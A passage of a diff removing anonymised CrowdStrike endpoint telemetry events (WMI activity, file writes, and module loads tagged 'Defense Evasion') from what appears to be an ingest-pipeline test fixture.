-                "original": "{\"event_simpleName\":\"WmiCreateProcess\",\"ContextTimeStamp\":\"1760910207.570\",\"UserName\":\"f3c32fdf5aef1041\",\"ConfigStateHash\":\"450007109\",\"aip\":\"81.2.69.192\",\"RpcClientThreadId\":\"5500404207604\",\"BoundingLimitCount\":\"1\",\"AuthenticationId\":\"400605500\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"43126eea\\\\79499b4.1\\\\48\\\\a686\\\\44dc\\\\9f8c9452\\\\30973301\\\\6961403c.txt\\\" 2>&1\\\"\",\"TokenType\":\"2\",\"TargetProcessId\":\"341000415765\",\"BoundingLimitDuration\":\"1486640\",\"ImageFileName\":\"\\\\6ba0bd\\\\6cf19058\\\\d598026\\\\dc9ec376\\\\04d.exe\",\"Entitlements\":\"86\",\"name\":\"4d986d3e22110751d0\",\"EventOrigin\":\"1\",\"RpcClientProcessId\":\"901070429000\",\"id\":\"4fd1a6718f8c7a25e6af1b5af89b5565a443\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8bba3f79ae72c48db0721bce1cc23f47\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "8bba3f79ae72c48db0721bce1cc23f47",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "WmiCreateProcess",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "8bba3f79ae72c48db0721bce1cc23f47",
-                "version": "2c8b.4.bab7095.e6"
-            },
-            "process": {
-                "args": [
-                    "43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt 2>&1"
-                ],
-                "args_count": 1,
-                "command_line": "43126eea\\79499b4.1\\48\\a686\\44dc\\9f8c9452\\30973301\\6961403c.txt\" 2>&1\"",
-                "entity_id": "341000415765",
-                "executable": "\\6ba0bd\\6cf19058\\d598026\\dc9ec376\\04d.exe",
-                "name": "04d.exe"
-            },
-            "related": {
-                "hash": [
-                    "450007109"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "user": [
-                    "f3c32fdf5aef1041"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "f3c32fdf5aef1041"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ClientComputerName": "f2752e89",
-                "ConfigStateHash": "750096004",
-                "ContextProcessId": "9977300700005",
-                "ContextTimeStamp": "2025-05-09T10:14:21.429Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "76",
-                "EventOrigin": "1",
-                "PatternId": "260",
-                "PerformanceCounter": "c0350cfa279c5991",
-                "WmiProviderName": "\\c\\4813\\155e1\\63acf3b8.Name=\\6c12b79e.0\\8",
-                "WmiProviderType": "425f2336",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "08b4a44cd2f229eadaa6f64169deb30db7f7",
-                "name": "256ae77a9371219d15d0ae429aae"
-            },
-            "device": {
-                "id": "fe88182661659af8a192fac5db624574"
-            },
-            "event": {
-                "action": "WmiProviderRegistrationEtw",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "08b4a44cd2f229eadaa6f64169deb30db7f7|fe88182661659af8a192fac5db624574|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"aip\":\"81.2.69.144\",\"WmiProviderType\":\"425f2336\",\"event_platform\":\"Win\",\"PatternId\":\"260\",\"ClientComputerName\":\"f2752e89\",\"EventOrigin\":\"1\",\"id\":\"08b4a44cd2f229eadaa6f64169deb30db7f7\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"WmiProviderRegistrationEtw\",\"ContextTimeStamp\":\"1746785661.429\",\"UserName\":\"207ef664\\\\d621c1\",\"ConfigStateHash\":\"750096004\",\"WmiProviderName\":\"\\\\c\\\\4813\\\\155e1\\\\63acf3b8.Name=\\\\6c12b79e.0\\\\8\",\"EtwRawProcessId\":\"4080\",\"ContextProcessId\":\"9977300700005\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"CommandLine\":\"82\\\\340d600\\\\dc9ec376\\\\c663c82b\\\\3819b3fa\\\\0c83.inf_amd64_7928011f35860ca3\\\\c53e7\\\\a3d70a9.exe\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\c663c82b\\\\3819b3fa\\\\0c83.inf_amd64_7928011f35860ca3\\\\c53e7\\\\a3d70a9.exe\",\"Entitlements\":\"76\",\"name\":\"256ae77a9371219d15d0ae429aae\",\"ProcessStartTime\":\"1745961781.179\",\"PerformanceCounter\":\"c0350cfa279c5991\",\"aid\":\"fe88182661659af8a192fac5db624574\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "fe88182661659af8a192fac5db624574",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "WmiProviderRegistrationEtw",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "fe88182661659af8a192fac5db624574",
-                "version": "2c8b.4.bab7095.e6"
-            },
-            "process": {
-                "args": [
-                    "82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe"
-                ],
-                "args_count": 1,
-                "command_line": "82\\340d600\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe",
-                "entity_id": "9977300700005",
-                "executable": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\c663c82b\\3819b3fa\\0c83.inf_amd64_7928011f35860ca3\\c53e7\\a3d70a9.exe",
-                "name": "a3d70a9.exe",
-                "pid": 4080,
-                "start": "2025-04-29T21:23:01.179Z"
-            },
-            "related": {
-                "hash": [
-                    "750096004"
-                ],
-                "hosts": [
-                    "f2752e89"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "207ef664\\d621c1"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "207ef664\\d621c1"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "710307050",
-                "ContextProcessId": "48146963060067",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "16",
-                "EventOrigin": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "b2cdcff3f1ec7958dd0f0d3b83d51360bfa4",
-                "name": "993018c29291eaa31ad975c11fbbae3390"
-            },
-            "device": {
-                "id": "945a25b2d8f219a0693641fa5daeb3c4"
-            },
-            "event": {
-                "action": "WroteExeAndGeneratedServiceEvent",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "b2cdcff3f1ec7958dd0f0d3b83d51360bfa4|945a25b2d8f219a0693641fa5daeb3c4|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"event_simpleName\":\"WroteExeAndGeneratedServiceEvent\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"48146963060067\",\"aip\":\"81.2.69.144\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"Entitlements\":\"16\",\"name\":\"993018c29291eaa31ad975c11fbbae3390\",\"EventOrigin\":\"1\",\"id\":\"b2cdcff3f1ec7958dd0f0d3b83d51360bfa4\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"945a25b2d8f219a0693641fa5daeb3c4\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "access"
-                ]
-            },
-            "host": {
-                "id": "945a25b2d8f219a0693641fa5daeb3c4",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "WroteExeAndGeneratedServiceEvent",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "945a25b2d8f219a0693641fa5daeb3c4",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "48146963060067"
-            },
-            "related": {
-                "hash": [
-                    "710307050"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "329",
-                "ConfigStateHash": "9080101000",
-                "ContextBaseFileName": "7b31c1d240b3d",
-                "ContextProcessId": "356301901002",
-                "ContextTimeStamp": "2025-10-15T11:10:28.961Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "76",
-                "EventOrigin": "1",
-                "FileCategory": "1",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "FileOperatorSid": "S-43058-61586-47269",
-                "FileWrittenFlags": "0",
-                "IrpFlags": "0",
-                "IsOnNetwork": "0",
-                "IsOnRemovableDisk": "0",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "2b0434b299dc23d3e66d5af40855f712e176",
-                "name": "736782612c55c54fc"
-            },
-            "device": {
-                "id": "3e64efce7e8a490b018d335f25b68760"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "2b0434b299dc23d3e66d5af40855f712e176|3e64efce7e8a490b018d335f25b68760|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"FileOperatorSid\":\"S-43058-61586-47269\",\"ContextBaseFileName\":\"7b31c1d240b3d\",\"FileCategory\":\"1\",\"Size\":\"7000060\",\"ContextThreadId\":\"200084098009700\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.142\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\23579bbe\",\"id\":\"2b0434b299dc23d3e66d5af40855f712e176\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ZipFileWritten\",\"ContextTimeStamp\":\"1760526628.961\",\"ConfigStateHash\":\"9080101000\",\"ContextProcessId\":\"356301901002\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"329\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"76\",\"name\":\"736782612c55c54fc\",\"OperationFlags\":\"0\",\"aid\":\"3e64efce7e8a490b018d335f25b68760\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\a37a4d54\\\\c86835dc\\\\21e\\\\00e1\\\\a686\\\\4e7075fa.tmp\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "device": "835\\b9e65ff8\\23579bbe",
-                "directory": "\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686",
-                "extension": "tmp",
-                "inode": "5f66e241c1232a879e63898df2f3f6cdbcda25651d2934fe",
-                "name": "4e7075fa.tmp",
-                "path": "\\6ba0bd\\a37a4d54\\c86835dc\\21e\\00e1\\a686\\4e7075fa.tmp",
-                "size": 7000060,
-                "type": "file"
-            },
-            "host": {
-                "id": "3e64efce7e8a490b018d335f25b68760",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ZipFileWritten",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "3e64efce7e8a490b018d335f25b68760",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "356301901002",
-                "name": "7b31c1d240b3d",
-                "thread": {
-                    "id": 200084098009700
-                }
-            },
-            "related": {
-                "hash": [
-                    "9080101000"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "user": [
-                    "S-43058-61586-47269"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-43058-61586-47269"
-            }
-        },
-        {
-            "@timestamp": "2025-09-15T08:47:27.906Z",
-            "crowdstrike": {
-                "Attacks": [
-                    {
-                        "Tactic": "Defense Evasion",
-                        "Technique": "Subvert Trust Controls"
-                    }
-                ],
-                "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36",
-                "ConfigStateHash": "3164437859",
-                "ContextProcessId": "617055030004",
-                "ContextTimeStamp": "2025-09-15T08:47:27.386Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "ImageSignatureLevel": "2",
-                "ImageSignatureType": "0",
-                "IsProcessInitializing": "0",
-                "LocalAddressIP4": [
-                    "81.2.69.142"
-                ],
-                "MappedFromUserMode": "1",
-                "ModuleCharacteristics": "8450",
-                "ModuleLoadTelemetryClassification": "256",
-                "ModuleSize": "40960",
-                "OriginalFilename": "redacted.dll",
-                "PrimaryModule": "0",
-                "SignInfoFlags": "932000",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "b44b58becebd48898306ffd6600bf3f42c16",
-                "name": "ClassifiedModuleLoadV5"
-            },
-            "device": {
-                "id": "827afde25ba0eeda5d204a68ff612048"
-            },
-            "dll": {
-                "Ext": {
-                    "size": 40960
-                },
-                "code_signature": {
-                    "exists": false,
-                    "trusted": false
-                },
-                "hash": {
-                    "md5": "9fd1131ff976c9a3212a1db685870aa1",
-                    "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d"
-                },
-                "name": "<redacted>.dll",
-                "path": "\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll",
-                "pe": {
-                    "original_file_name": "redacted.dll"
-                }
-            },
-            "event": {
-                "action": "ClassifiedModuleLoad",
-                "category": [
-                    "library"
-                ],
-                "created": "2025-09-15T08:47:27.906Z",
-                "id": "b44b58becebd48898306ffd6600bf3f42c16|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ImageSignatureType\":\"0\",\"ModuleCharacteristics\":\"8450\",\"ContextThreadId\":\"32005063951800\",\"aip\":\"89.160.20.128\",\"ModuleLoadTelemetryClassification\":\"256\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"OriginalFilename\":\"redacted.dll\",\"EventOrigin\":\"1\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40960\",\"timestamp\":\"1757926047906\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"ClassifiedModuleLoad\",\"ContextTimeStamp\":\"1757926047.386\",\"ConfigStateHash\":\"3164437859\",\"ContextProcessId\":\"617055030004\",\"IsProcessInitializing\":\"0\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"ImageSignatureLevel\":\"2\",\"TargetProcessId\":\"3542590006570\",\"ImageFileName\":\"\\\\\\\\Device\\\\\\\\<redacted>\\\\\\\\Windows\\\\\\\\<system>\\\\\\\\<redacted>.dll\",\"Entitlements\":\"15\",\"name\":\"ClassifiedModuleLoadV5\",\"PrimaryModule\":\"0\",\"ComputerName\":\"redacted-computer-name\",\"TargetImageFileName\":\"\\\\\\\\Device\\\\\\\\<redacted>\\\\\\\\Program Files (x86)\\\\\\\\<destination>.exe\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Subvert Trust Controls\"}],\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "hostname": "redacted-computer-name",
-                "id": "827afde25ba0eeda5d204a68ff612048",
-                "name": "redacted-computer-name",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ClassifiedModuleLoad",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "827afde25ba0eeda5d204a68ff612048",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "3542590006570",
-                "executable": "\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe",
-                "name": "<destination>.exe",
-                "thread": {
-                    "id": 32005063951800
-                }
-            },
-            "related": {
-                "hash": [
-                    "9fd1131ff976c9a3212a1db685870aa1",
-                    "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d",
-                    "3164437859"
-                ],
-                "hosts": [
-                    "redacted-computer-name"
-                ],
-                "ip": [
-                    "89.160.20.128",
-                    "81.2.69.142"
-                ]
-            },
-            "source": {
-                "address": "81.2.69.142",
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.142"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "Defense Evasion"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Subvert Trust Controls"
-                    ]
-                }
-            }
-        },
-        {
-            "@timestamp": "2025-09-15T08:47:27.906Z",
-            "crowdstrike": {
-                "Attacks": [
-                    {
-                        "Tactic": "Defense Evasion",
-                        "Technique": "Subvert Trust Controls"
-                    }
-                ],
-                "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36",
-                "ConfigStateHash": "3164437859",
-                "ContextProcessId": "617055030004",
-                "ContextTimeStamp": "2025-09-15T08:47:27.386Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "ImageSignatureLevel": "0",
-                "ImageSignatureType": "1",
-                "IsProcessInitializing": "0",
-                "LocalAddressIP4": [
-                    "81.2.69.142"
-                ],
-                "MappedFromUserMode": "1",
-                "ModuleCharacteristics": "8450",
-                "ModuleLoadTelemetryClassification": "256",
-                "ModuleSize": "40960",
-                "OriginalFilename": "redacted.dll",
-                "PrimaryModule": "0",
-                "SignInfoFlags": "932000",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "b44b58becebd48898306ffd6600bf3f42c16",
-                "name": "ClassifiedModuleLoadV5"
-            },
-            "device": {
-                "id": "827afde25ba0eeda5d204a68ff612048"
-            },
-            "dll": {
-                "Ext": {
-                    "size": 40960
-                },
-                "code_signature": {
-                    "exists": true,
-                    "trusted": false
-                },
-                "hash": {
-                    "md5": "9fd1131ff976c9a3212a1db685870aa1",
-                    "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d"
-                },
-                "name": "<redacted>.dll",
-                "path": "\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll",
-                "pe": {
-                    "original_file_name": "redacted.dll"
-                }
-            },
-            "event": {
-                "action": "ClassifiedModuleLoad",
-                "category": [
-                    "library"
-                ],
-                "created": "2025-09-15T08:47:27.906Z",
-                "id": "b44b58becebd48898306ffd6600bf3f42c16|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ImageSignatureType\":\"1\",\"ModuleCharacteristics\":\"8450\",\"ContextThreadId\":\"32005063951800\",\"aip\":\"89.160.20.128\",\"ModuleLoadTelemetryClassification\":\"256\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"OriginalFilename\":\"redacted.dll\",\"EventOrigin\":\"1\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40960\",\"timestamp\":\"1757926047906\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"ClassifiedModuleLoad\",\"ContextTimeStamp\":\"1757926047.386\",\"ConfigStateHash\":\"3164437859\",\"ContextProcessId\":\"617055030004\",\"IsProcessInitializing\":\"0\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"ImageSignatureLevel\":\"0\",\"TargetProcessId\":\"3542590006570\",\"ImageFileName\":\"\\\\\\\\Device\\\\\\\\<redacted>\\\\\\\\Windows\\\\\\\\<system>\\\\\\\\<redacted>.dll\",\"Entitlements\":\"15\",\"name\":\"ClassifiedModuleLoadV5\",\"PrimaryModule\":\"0\",\"ComputerName\":\"redacted-computer-name\",\"TargetImageFileName\":\"\\\\\\\\Device\\\\\\\\<redacted>\\\\\\\\Program Files (x86)\\\\\\\\<destination>.exe\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Subvert Trust Controls\"}],\"aid\":\"827afde25ba0eeda5d204a68ff612048\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "hostname": "redacted-computer-name",
-                "id": "827afde25ba0eeda5d204a68ff612048",
-                "name": "redacted-computer-name",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ClassifiedModuleLoad",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "827afde25ba0eeda5d204a68ff612048",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "3542590006570",
-                "executable": "\\\\Device\\\\<redacted>\\\\Program Files (x86)\\\\<destination>.exe",
-                "name": "<destination>.exe",
-                "thread": {
-                    "id": 32005063951800
-                }
-            },
-            "related": {
-                "hash": [
-                    "9fd1131ff976c9a3212a1db685870aa1",
-                    "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d",
-                    "3164437859"
-                ],
-                "hosts": [
-                    "redacted-computer-name"
-                ],
-                "ip": [
-                    "89.160.20.128",
-                    "81.2.69.142"
-                ]
-            },
-            "source": {
-                "address": "81.2.69.142",
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": "81.2.69.142"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "Defense Evasion"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Subvert Trust Controls"
-                    ]
-                }
-            }
-        },
-        {
-            "@timestamp": "2025-09-15T08:47:27.906Z",
-            "crowdstrike": {
-                "Attacks": [
-                    {
-                        "Tactic": "Defense Evasion",
-                        "Technique": "Subvert Trust Controls"
-                    }
-                ],
-                "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36",
-                "ConfigStateHash": "3164437859",
-                "ContextProcessId": "617055030004",
-                "ContextTimeStamp": "2025-09-15T08:47:27.386Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "ImageSignatureLevel": "2",
-                "ImageSignatureType": "1",
-                "IsProcessInitializing": "0",
-                "LocalAddressIP4": [
-                    "81.2.69.142"
-                ],
-                "MappedFromUserMode": "1",
-                "ModuleCharacteristics": "8450",
-                "ModuleLoadTelemetryClassification": "256",
-                "ModuleSize": "40960",
-                "OriginalFilename": "redacted.dll",
-                "PrimaryModule": "0",
-                "SignInfoFlags": "932000",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "b44b58becebd48898306ffd6600bf3f42c16",
-                "name": "ClassifiedModuleLoadV5"
-            },
-            "device": {
-                "id": "827afde25ba0eeda5d204a68ff612048"
-            },
-            "dll": {
-                "Ext": {
-                    "size": 40960
-                },
-                "code_signature": {
-                    "exists": true,
-                    "trusted": true
-                },
-                "hash": {
-                    "md5": "9fd1131ff976c9a3212a1db685870aa1",
-                    "sha256": "d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d"
-                },
-                "name": "<redacted>.dll",
-                "path": "\\\\Device\\\\<redacted>\\\\Windows\\\\<system>\\\\<redacted>.dll",
-                "pe": {
-                    "original_file_name": "redacted.dll"
-                }
-            },
-            "event": {
-                "action": "ClassifiedModuleLoad",
-                "category": [
-                    "library"
-                ],
-                "created": "2025-09-15T08:47:27.906Z",
-                "id": "b44b58becebd48898306ffd6600bf3f42c16|827afde25ba0eeda5d204a68ff612048|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ImageSignatureType\":\"1\",\"ModuleCharacteristics\":\"8450\",\"ContextThreadId\":\"32005063951800\",\"aip\":\"89.160.20.128\",\"ModuleLoadTelemetryClassification\":\"256\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"OriginalFilename\":\"redacted.dll\",\"EventOrigin\":\"1\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40960\",\"timestamp\":\"1757926047906\",\"LocalAddressIP4\":\"81.2.69.142\",\"event_simpleName\":\"ClassifiedModuleLoad\",\"ContextTimeStamp\":\"1757926047.386\",\"ConfigStateHash\":\"3164437859\",\"ContextProcessId\":\"617055030004\",\"IsProcessInitializing\":\"0\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"ImageSignatureLevel\":\"2\",\"TargetProcessId\":\"3542590006570\",\"ImageFileName\":\"\\\\\\\\Device\\\\\\\\<redacted>\\\\\\\\Windows\\\\\\\\<system>\\\\\\\\<redacted>.dll\",\"Entitlements\":\"15\",\"name\":\"ClassifiedModuleLoadV5\",\"PrimaryModule\":\"0\",\"ComputerName\":\"redacted-computer-name\",\"TargetImageFileName\":\"\\\\\\\\Device\\\\\\\\<redacted>\\\\\\\\Program Files (x86)\\\\\\\\<destination>.exe\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Subvert Trust 